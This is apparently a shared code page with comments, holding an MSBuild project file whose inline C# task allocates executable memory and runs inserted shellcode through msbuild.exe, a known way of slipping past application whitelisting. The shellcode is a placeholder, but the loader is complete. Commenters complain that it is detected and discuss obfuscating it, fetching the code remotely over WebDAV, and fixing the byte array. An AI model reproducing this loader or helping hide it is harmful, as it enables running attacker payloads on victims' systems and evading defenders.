MSBuild Shellcode Runner

shellcode.xml

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
         <!-- This inline task executes shellcode. -->
         <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
         <!-- Save This File And Execute The Above Command -->
         <!-- Author: Casey Smith, Twitter: @subTee -->
         <!-- License: BSD 3-Clause -->
	  <Target Name="Hello">
	    <ClassExample />
	  </Target>
	  <UsingTask
	    TaskName="ClassExample"
	    TaskFactory="CodeTaskFactory"
	    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
	    <Task>
	    
	      <Code Type="Class" Language="cs">
	      <![CDATA[
		using System;
		using System.Runtime.InteropServices;
		using Microsoft.Build.Framework;
		using Microsoft.Build.Utilities;
		public class ClassExample :  Task, ITask
		{         
		  private static UInt32 MEM_COMMIT = 0x1000;          
		  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
		  [DllImport("kernel32")]
		    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
		    UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
		  [DllImport("kernel32")]
		    private static extern IntPtr CreateThread(            
		    UInt32 lpThreadAttributes,
		    UInt32 dwStackSize,
		    UInt32 lpStartAddress,
		    IntPtr param,
		    UInt32 dwCreationFlags,
		    ref UInt32 lpThreadId           
		    );
		  [DllImport("kernel32")]
		    private static extern UInt32 WaitForSingleObject(           
		    IntPtr hHandle,
		    UInt32 dwMilliseconds
		    );          
		  public override bool Execute()
		  {
		    byte[] shellcode = new byte[] { INSERT_SHELLCODE_HERE };
		      
		      UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
			MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		      Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
		      IntPtr hThread = IntPtr.Zero;
		      UInt32 threadId = 0;
		      IntPtr pinfo = IntPtr.Zero;
		      hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
		      WaitForSingleObject(hThread, 0xFFFFFFFF);
		      return true;
		  } 
		}     
	      ]]>
	      </Code>
	    </Task>
	  </UsingTask>
	</Project>

This gets detected straight away

How do we obsufucate this any further?
Like hosting the cs code remotely and fetching it inside the xml file via a webdav server?
but I guess defenders can hunt for this by checking TCP connections made by MSBuild.exe

This gets detected straight away

Have you had a way around it?

Have you had a way around it?
Negative.

Inserting raw shell code inside that container never seems to work for me. Should we be including buf = new byte[419] ?

remove the buf length from [] -